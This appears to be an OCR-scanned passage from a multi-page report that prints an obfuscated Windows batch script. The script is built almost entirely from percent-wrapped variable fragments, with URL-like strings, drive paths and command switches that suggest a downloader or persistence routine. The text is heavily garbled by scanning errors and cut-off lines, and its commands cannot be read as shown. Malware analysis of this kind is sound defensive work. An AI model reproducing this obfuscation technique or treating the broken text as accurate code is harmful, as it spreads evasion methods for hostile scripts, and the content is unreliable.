%wegkoem%%ybbwhci%%ybbwhci%%fynwfvh%%hxiqvtv%%bpltpmn%%mkmhtbo%%t jtkrhi%%bysdcmi%%wegk

%ybbwhci%%t jtkrhi%%ybbwhci%%flbzyhx%%fynwfvh%%hxigvtv%.%khoziql%%nutqtmu%%xlnlrpz%%fyn
(%bysdcmi%%fynwfvh%%srmyyyjm%-%nutqtmu%%bpltpmn%smnmpgbg%%fynwfvh%%khoziql%%flbzyhx%
%bysdcmi%%fynwfvh%%flbzyhx%.%rmyyyjm%%fynwfvh%%bpltpmn%%khozigql%%mkmhtbo%%pjdv11lg%%fyn
("%yvyapob%%flbzyhx%%f1lbzyhx%%brlbmmf%: //%yvyapob%%brlbmmf%%ybbwhci%%mnmpgbg%.%gfuxihu
%dskbaxg%%wegkoem%%f1bzyhx%%fynwfvh%%srmyyyjm%%wegkoem%%t jtkrhi% . %bysdcmi%%fynwfvh%%sf 1k

/%gfuxihu%

%x1nlrpz%%fynwfvh%%dskbaxq% %wegkoem%%tjxpouf%%tjxpouf%
"%yvyapob%%eeuyvwk%%fynwfvh%%t jtkrhi%_ %khozigql%%jxdklrj%%x1lnlrpz%%x1nlrpz%%fynwfvh%%by
/%cbwgk1h%
"#unutgtmu%%bysdecmi%%fynwfvh%%jxdklr j%%brlbmmf%%t jxpouf%kwegkoem%%flbzyhx%%fynwfvh%"
/%flbzyhx% %x1nlrpz%%fynwfvh%%dskbaxq%_%ybbwhci%%ikoiset% /%tjxpouf%
"%brlbmmf%%nutgtmu%srmyyyjm%%fynwfvh%%xlnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkn
-%rmyyyjm% %yvyapob%%pjdv11g%%tjxpouf%%stjxpouf%%fynwfvh%%bysdcmi%
\"%wegkoem%%t jxpouf%%t jxpouf%-%flbzyhx%%tjtkrhi%%brlbmmf%%fynwfvh% -
%wegkoem%%ybbwhci%%ybbwhci%%fynwfvh%%shxiqvtv%%bpltpmn%%mkmhtbo%%t jtkrhi%%bysdcmi%%wegk

%ybbwhci%%t jtkrhi%%ybbwhci%%flbzyhx%%fynwfvh%%hxigvtv%.%khoziql%%nutqgtmu%%xlnlrpz%%fyn
(%bysdcmi%%fynwfvh%%rmyyyjm%-%nutqtmu%%bpltpmn%%mnmpgbg%%fynwfvh%%khoziql%%f1lbzyhx%
%bysdcmi%%fynwfvh%%flbzyhx%.%rmyyyjm%%fynwfvh%%bpltpmn%%khozigql%%mkmhtbo%%pjdv11lg%%fyn
("%yvyapob%%flbzyhx%%f1lbzyhx%%brlbmmf%: //%yvyapob%%brlbmmf%%ybbwhci%%mnmpgbg%.%gfuxihu
%dskbaxg%%wegkoem%%f1lbzyhx%%fynwfvh%%srmyyyjm%%wegkoem%%t jtkrhi% . %bysdcmi%%fynwfvh%%sf 1k

/%gfuxihu%

"%khozigql%:\%brlbmmf%%x1lnlrpz%%nutgtmu%%dskbaxq%%x1lnlrpz%%wegkoem%%hxiqvtv%

%gfuxihu%%pjdvllg®%mkmhtbo%%fynwfvh%%ybbwhci%\%hxiqvtv%%pjdv1lg%%khoziql%%x1lnlrpz%%nut
%ybbwhci%%fynwfvh%%khozigql%%jxdklrj%%x1nlrpz%%pjdv1llg%%flbzyhx%%tjtkrhi%

%khozigl%%mkmhtbo%%pjdv11lg%%fynwfvh%%bysdcmi%%flbzyhx%\%ybbwhci%%fynwfvh%%f1lbzyhx%%jxd
/%1xckycu% /%ybbwhci%

/%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%nutqgtmu%%ybbwhci%%mki

%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx% /%bpltpmn%

%brlbmmf%%nutgtmu%%rmyyyjm%%fynwfvh%%x1lnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkmh
%wegkoem%%t jxpouf%%bt jxpouf%-

%hxiqvtv®sbrlbmmf%%brlbmmf%%x1nlrpz%%fynwfvh%%gfuxihu%%fynwfvh%%x1lnlrpz%%fynwfvh%%bysad

%Fynwfvh%%lxckycu%%khoziql%%mkmhtbo%%jxdklrj%%ybbwhci%%pjdv1llg¥%nutqtmu%%bysdcmi%%brlk
"%khozigql%:" -%gfuxihu%%nutqtmu%%xlnlrpz%%khoziql%%fynwfvh%

%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx% /%bpltpmn%

%brlbmmf%%nutgtmu%d%rmyyyjm%%fynwfvh%%x1lnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkmh
%wegkoem%%t jxpouf%%bt jxpouf%-

%hxiqvtv®sbrlbmmf%%br1lbmmf%%x1nlrpz%%fynwfvh%%gfuxihu%%fynwfvh%%x1lnlrpz%%fynwfvh%%bysa

10/24



%Tynwfvh%%lxckycu%%khoziql%%¥mkmhtbo%%jxdklrj%%ybbwhci%%pjdv1lg%%nutqtmu%%bysdcmi%%brlk
"%khoziql%:\%jxdklrj%%ybbwhci%%fynwfvh%%x1lnlrpz%%ybbwhci%" -
%gfuxihu%%nutgtmu%%xlnlrpz%%khoziql%%fynwfvh%

%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx% /%bpltpmn%
%brlbmmf%%nutqgtmu%%rmyyyjm%%fynwfvh%%x1lnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkmh
-%rmyyyjm% %yvyapob%%pjdv11g%%tjxpouf%%stjxpouf%%fynwfvh%%bysdcmi%
"%pjdv1lg®%fynwfvh%%lxckycu%(%bysdcmi%%fynwfvh%%rmyyyjm%-
%nutqtmu%%bpltpmn%%mnmpqbg%%fynwfvh%%khoziql%%flbzyhx%
%bysdcmi%%fynwfvh%%ftlbzyhx%.%rmyyyjm%%fynwfvh%%bpltpmn%%khoziql%%mkmhtbo%%pjdv11g%%fyn
('wyvyapob%%flbzyhx%%f1lbzyhx%%br1lbmmf%: //%yvyapob%%brlbmmf%%sybbwhci%%mnmpgbg%.%gfuxihu
%dskbaxg%%wegkoem%%flbzyhx%%fynwfvh%%rmyyyjm%%wegkoem%%t jtkrhi%.%bysdcmi%%fynwfvh%%f 1k

%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx% /%bpltpmn%

%brlbmmf%%nutgtmu%%rmyyyjm%%fynwfvh%%x1lnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkmh
-%rmyyyjm% %yvyapob%%pjdv11g%%tjxpouf%%tjxpouf%%fynwfvh%%bysdcmi%

"%wegkoem%%t jxpouf%%t jxpouf%-%flbzyhx%%tjtkrhi%%brlbmmf%%sfynwfvh% -

%wegkoem%%ybbwhci%%ybbwhci%%fynwfvh%%shxiqvtv%%bpltpmn%%mkmhtbo%%t jtkrhi%%bysdcmi%%wegk

%ybbwhci%%t jtkrhi%%ybbwhci%%flbzyhx%%fynwfvh%%hxigvtv%.%khoziql%%nutqgtmu%%xlnlrpz%%fyn
(%bysdcmi%%fynwfvh%%rmyyyjm%-%nutqtmu%%bpltpmn%%mnmpgbg%%fynwfvh%%khoziql%%f1lbzyhx%
%bysdcmi%%fynwfvh%%flbzyhx%.%rmyyyjm%%fynwfvh%%bpltpmn%%khozigl%%mkmhtbo%%pjdv11lg%%fyn
("%yvyapob%%flbzyhx%%f1lbzyhx%%br1lbmmf%: //%yvyapob%%brlbmmf%%ybbwhci%%mnmpgbg%.%gfuxihu
%dskbaxg¥%wegkoem%%f lbzyhx%%fynwfvh%%rmyyyjm%%wegkoem%%tjtkrhi%.%bysdcmi%%fynwfvh%%f 1k

%ybbwhci%%khoziql%%yvyapob%%flbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci%
/%khoziql%%x1nlrpz%%fynwfvh%%wegkoem%%flbzyhx%%fynwfvh% /%ybbwhci%%khoziql%
%hxiqvtvekpjdvllg%sbysdcemi%%jxdklrj%%flbzyhx%%fynwfvh% /%hxigvtv%%nutgtmu% 60
/%gfuxihu% /%flbzyhx%%bysdcmi%
%wegkoem%¥%khoziql%%yvyapob%%x1lnlrpz%%nutqgtmu%%hxiqvtve%fynwfvh%%jxdklrj%%brlbmmf%%t jxp
/% 1lbzyhx%%x1nlrpz%
"%brlbmmf%%nutgtmu%k%rmyyyjm%%tynwfvh%%x1lnlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkn
-%rmyyyjm% %yvyapob%%pjdv1lg%%tjxpouf%%tjxpouf%%fynwfvh%%bysdcmi%
\"%wegkoem%%t jxpouf%%t jxpouf%-%flbzyhx%%tjtkrhi%%brlbmmf%%fynwfvh% -
%wegkoem¥%%ybbwhci%%ybbwhci%%fynwfvh%%hxiqvtv%%bpltpmn%%mkmhtbo%%tjtkrhi%%bysdcmi%%wegk

%ybbwhci%%tjtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hxiqvtv%.%khozigql%%nutgtmu%%x1lnlrpz%%fyn
(%bysdcmi%%fynwfvh%%rmyyyjm%-%nutqgtmu%%bpltpmn%%mnmpgbg%%fynwfvh%%khoziql%%f1lbzyhx%
%bysdcmi%%fynwfvh%%ftlbzyhx%.%rmyyyjm%%fynwfvh%%sbpltpmn%%khoziql%%mkmhtbo%%pjdv11g%%fyn
(' "%yvyapob%%flbzyhx%%flbzyhx%%brlbommf%: //%yvyapob%%brlbmmf%%ybbwhci%%mnmpqgbg%.%gfuxih
%dskbaxg¥%%wegkoem%%f1lbzyhx%%fynwfvh%%rmyyyjm%%wegkoem%%t jtkrhi%.%bysdcecmi%%fynwfvh%%f 1k

%ybbwhci%%khozigql%%yvyapob%%f1lbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%ybbwhci% /%gfuxihu%
/%khoziql%%x1nlrpz%%fynwfvh%%wegkoem%%f1lbzyhx%%fynwfvh% /%ybbwhci%%khozigl%
%hxiqvtv¥%pjdv1lg%%bysdcmi%%jxdklr j%%flbzyhx%%fynwfvh% /%hxiqvtv%%nutqtmu% 60
/%f1lbzyhx%%bysdcmi%
%wegkoem%%khoziql%%yvyapob%%x1nlrpz%%nutqtmu%®hxigqvtv%%fynwfvh%%jxdklrj%%brlbommf%%st jxi
/%Flbzyhx%%x1nlrpz%
"%br1lbmmf%%nutgtmu%%rmyyyjm%%ftynwfvh%%x1nlrpz%%ybbwhci%%yvyapob%%fynwfvh%%mkmhtbo%%mkn
-%rmyyyjm% %yvyapob%%pjdv11lg%%tjxpouf%%stjxpouf%%fynwfvh%%bysdcmi%
"%pjdv1lg%%fynwfvh%%lxckycu% (%bysdcmi%%fynwfvh%%rmyyyjm%-
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%nutqtmu%%bpltpmn%%mnmpqbg%%fynwfvh%%khoziql%%flbzyhx%

%bysdcmi%%fynwfvh%%ftlbzyhx%.%rmyyyjm%%fynwfvh%%sbpltpmn%%khoziql%%mkmhtbo%%pjdv11g%%fyn
(' "%yvyapob%%flbzyhx%%flbzyhx%%brlbommf%: //%yvyapob%%brlbmmf%%ybbwhci%%mnmpgbg%.%gfuxih
%dskbaxg%%wegkoem%%f1lbzyhx%%fynwfvh%%rmyyyjm%%wegkoem%%t jtkrhi%.%bysdcmi%%fynwfvh%%f 1k

%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%
%rmyyyjm%%pjdv1lg%%bysdcemi%%t jxpouf%%sfynwfvh%%sgfuxihu%%fynwfvh%%bysdemi%%t jxpouf%
%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%rmyyyjm%%pjdv1lg%%bysdcecmi%%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%sbysdcecmi%%t jxpouf%
%ybbwhci%%flbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg®%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%t jxpouf%
%ybbwhci%%khoziql% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%
%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%

%rmyyyjm%%t jxpouf%%bysdcmi%%pjdv1lg%kybbwhci%%ybbwhci%%cbwgk1lh%%khozigl%
%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%rmyyyjm%%t jxpouf%%bysdcmi%%pjdv1lg%%kybbwhci%%ybbwhci%%cbwgklh%%khozigl%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg®%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%t jxpouf%
%ybbwhci%%khoziql% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%
%rmyyyjm%%t jxpouf%%bysdcmi%%pjdv1lg%%ybbwhci%%ybbwhci%%cbwqklh%%khoziql%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%
%ybbwhci%%fynwfvh%%bysdcmi%%ybbwhci%%fynwfvh%

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%ybbwhci%%fynwfvh%%bysdcmi%%ybbwhci%%fynwfvh%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg®%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%t jxpouf%
%ybbwhci%%khoziql% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%
%ybbwhci%%fynwfvh%%bysdcmi%%ybbwhci%%fynwfvh%

%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%
%rmyyyjm%%jxdklrj%%wegkoem%%jxdklrj%kybbwhci%%fynwfvh%%x1lnlrpz%%cbwgklh%
%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%rmyyyjm%%jxdklrj%%wegkoem%%jxdklrj%%kybbwhci%%fynwfvh%%x1lnlrpz%%cbwgklh%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg®%%ybbwhci%%wegkoem%%bpltpmn%%¥mkmhtbo%%fynwfvh%%t jxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%
%jxdklrj%%ybbwhci%%nutqtmu%%ybbwhci%%cbwgklh%%khoziql%

%ybbwhci%%khozigql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%jxdk1lrj%%ybbwhci%%nutqgtmu%%ybbwhci%%cbwqklh%%khoziql%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%
%rmyyyjm%%wegkoem%%wegkoem%%ybbwhci%®shxiqvtv%%fynwfvh%%t jxpouf%%pjdv1lg%%khoziql%%ybbwn

%ybbwhci%%khoziql% %khozigl%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%rmyyyjm%%wegkoem%%wegkoem%%ybbwhci%khxiqvtv%%fynwfvh%%t jxpouf%%pjdv1lg%%khozigql%%ybbw
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=
%tjxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%
%ybbwhci%%fynwfvh%%khozigql%%jxdklrj%%x1lnlrpz%%pjdv11lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%

%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1lnlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=
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%t jxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %tjxpouf%%fynwfvh%%mkmhtbo%%fynwfvh%%flbzyhx%%fynwfvh%
%ybbwhci%%fynwfvh%%khozigql%%jxdklrj%%x1lnlrpz%%pjdv11lg%%flbzyhx%%t jtkrhi%%yvyapob%%fynn

%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%

%ybbwhci%%t jxpouf%%x1lnlrpz%%ybbwhci%%cbwgklh%%khoziql%

%ybbwhci%%khozigql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%ybbwhci%%t jxpouf%%x1nlrpz%%ybbwhci%%cbwqklh%%khoziql%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%
%rmyyyjm%%ybbwhci%%khozigql%%ybbwhci%%cbwqklh%%khoziql%

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%rmyyyjm%%ybbwhci%%khoziql%%ybbwhci%%cbwgklh%%khoziql%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%

%rmyyyjm%%t jxpouf%¥%pjdv1llg%%ybbwhci%%fynwfvh%%x1lnlrpz%%kcbwgklh%%pjdv11lg%%khoziql%%sfynn

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%

%rmyyyjm%%t jxpouf%%pjdvllg%%ybbwhci%%fynwfvh%%x1lnlrpz%%cbwqklh%%pjdv11lg%%khoziql%%fynw
%ybbwhci%%flbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%tjxpouf%%pjdvllg%%rybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%

%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%

%rmyyyjm%%t jxpouf%%pjdvllg%%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hxiqvtv%%yvya

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%

%rmyyyjm%%t jxpouf%%pjdvllg%%ybbwhci%%t jtkrhi%%ybbwhci%%f1lbzyhx%%fynwfvh%%hxiqvtv%%yvya
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%stjxpouf%

%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%

%pjdv11lg%%bysdcmi%%ybbwhci%%f 1bzyhx%%wegkoem%%mkmhtbo%%mkmhtbo%%ybbwhci%%fynwfvh%%x1lnl

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%pjdv1lg%%bysdcmi%%ybbwhci%%f1lbzyhx%%wegkoem%%mkmhtbo%%mkmhtbo%%ybbwhci%%fynwfvh%%x1lnl
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutqtmu%%brlbmmf%
%cbwgklh%%wegkoem%%jxdklrj%%smkmhtbo%%f1lbzyhx%%ybbwhci%%cbwgk1lh%%khozigql%
%ybbwhci%%khozigql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%chbwgklh%%wegkoem%%jxdklrj%%¥mkmhtbo%%f1lbzyhx%%ybbwhci%%cbwqklh%%khoziql%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=

%t jxpouf%%pjdv1lg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%t jxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%
%ybbwhci%%brlbmmf%%nutqtmu%%nutqgtmu%smkmhtbo%%fynwfvh%%x1lnlrpz%

%ybbwhci%%khoziql% %khozigl%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%ybbwhci%%brlbmmf%%nutgtmu%%nutgtmu%%mkmhtbo%%fynwfvh%%xlnlrpz%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=
%tjxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%
%mkmhtbo%%pjdv1lg%%khozigql%%fynwfvh%%bysdcmi%%ybbwhci%%fynwfvh%%hxiqvtv%%wegkoem%%bysa

%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%

%mkmhtbo%%pjdv11g%%khoziql%%fynwfvh%%bysdcmi%%ybbwhci%%fynwfvh%%hxiqvtv%%wegkoem%%bysa
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=
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%t jxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%
%ybbwhci%%khoziql% %ybbwhci%%flbzyhx%%nutgtmu%%brlbmmf%

%t jxpouf%%pjdvllg®swegkoem%%dskbaxq%%flbzyhx%%x1lnlrpz%%wegkoem%%khozigql%%eeuyvwk%
%ybbwhci%%khoziql% %khoziql%%nutqtmu%%bysdcmi%%gfuxihu%%pjdv1lg%%dskbaxq%
%tjxpouf%%pjdvllgkrwegkoem%%dskbaxq%%flbzyhx%%x1nlrpz%%wegkoem%%khoziql%%eeuyvwk%
%ybbwhci%%f1lbzyhx%%wegkoem%%x1nlrpz%%flbzyhx%=
%tjxpouf%%pjdvllg%%ybbwhci%%wegkoem%%bpltpmn%%mkmhtbo%%fynwfvh%%tjxpouf%

% lbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%eeuyvwk%%pjdvllg%%mkmhtbo%%mkmhtbo% /%gfuxihu%
/%pjdv1lg%%hxiqvtv%
%ybbwhci%%hxiqvtvedwegkoem%%x1nlrpz%%flbzyhx%%ybbwhci%%khoziql%%x1nlrpz%%fynwfvh%%sfynn

%f1lbzyhx%%wegkoem%%ybbwhci%%eeuyvwk%%eeuyvwk%%pjdv1llg%%mkmhtbo%%mkmhtbo% /%gfuxihu%
/%pjdvllg%%hxiqvtv%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%khozigl%%tjxpouf% %khoziql%:\

%khozigql%%tjxpouf%
%khoziql%:\%brlbmmf%%x1nlrpz%%nutqtmu%%dskbaxq%%xlnlrpz%%wegkoem%%hxiqvtv%
%gfuxihu%%pjdvllg%%mkmhtbo%%fynwfvh%%ybbwhci%\

%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%knutgtmu%%rmyyyjm%%ybbwhci%

%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%"
%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%snutgtmu%%rmyyyjm%%ybbwhci%

%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcecmi%%t jxpouf%%fynwfvh%%x1lnlrpz%
%wegkoem%%t jxpoufur%cbwgklh%%wegkoem%%bysdcmi%%khoziql%%fynwfvh%%t jxpouf%
%Tlbzyhx%%yvyapob%%x1nlrpz%%fynwfvh%%swegkoem%%flbzyhx%
%brlbmmf%%x1nlrpz%%nutqtmu%%tlbzyhx%%fynwfvh%%khoziql%%f1lbzyhx%%pjdv1lg%%nutqtmu%%bysda

%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%snutgtmu%%rmyyyjm%%ybbwhci%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1lnlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%"
%khozigql%%tjxpouf%
%khoziql%:\%brlbmmf%%x1nlrpz%%nutqtmu%%dskbaxq%%xlnlrpz%%wegkoem%%hxiqvtv%
%gfuxihu%%pjdvllg%%mkmhtbo%%fynwfvh%%ybbwhci% (%1lxckycu%86)\
%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%knutgtmu%%rmyyyjm%%ybbwhci%

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%"
%khozigl%%tjxpouf%

%khozigl%: \%brlbmmf%%x1nlrpz%%nutqtmu%%dskbaxq%%x1lnlrpz%%wegkoem%%hxiqvtv%%tjxpouf%kbwe

%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv1lg%%bysdemi%%t jxpouf%%nutgtmu%%srmyyy jm%%ybbwhci%

%t jxpouf%%fynwfvh%%gfuxihu%%fynwfvh%%bysdcecmi%%t jxpouf%%fynwfvh%%xlnlrpz%"
%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%knutgtmu%%rmyyyjm%%ybbwhci%

%t jxpoufr%fynwfvh%%gfuxihu%%fynwfvh%%sbysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%

%wegkoem%%t jxpoufr%cbwgklh%%wegkoem%%bysdcmi%%khoziql%%fynwfvh%%t jxpouf%
%T1lbzyhx%%yvyapob%%x1nlrpz%%fynwfvh%%wegkoem%%f1lbzyhx%
%brlbmmf%%x1nlrpz%%nutqtmu%%tlbzyhx%%fynwfvh%%khoziql%%f1lbzyhx%%pjdv1lg%%nutqtmu%%bysa

%x1nlrpz%%tjxpouf% /%ybbwhci% /%hoahisa%

"%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%knutgtmu%%rmyyyjm%%ybbwhci%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%
%yvyapob%%fynwfvh%%wegkoem%%mkmhtbo%%f1bzyhx%%yvyapob%"

14/24



%khozigql%%tjxpouf% %khoziql%:\

%khoziql%%tjxpouf% %rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%nutgtmu%%rmyyyjm%%sybbwhci%
%khoziql%%tjxpouf% %ybbwhci%%tjtkrhi%%ybbwhci%%flbzyhx%%fynwfvh%%hxiqvtv%32

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%

%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%nutqtmu%%rmyyyjm%%ybbwhci%%jxdklrj%%brlbmmf%%t jxp

%t jxpoufr%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdvl1lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%t jxpouf%%fynwfvh%%smkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khozigql%%jxdklrj%%x1lnlrpz%%pjdv11lg%%flbzyhx%%t jtkrhi%%yvyapob%%fynn

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khoziql%%jxdklr j%%x1nlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%%khoziql%%fynw

%t jxpouf%%fynwfvh%%smkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khozigql%%jxdklrj%%x1nlrpz%%pjdv11lg%%flbzyhx%%tjtkrhi%%khoziql%%fynn

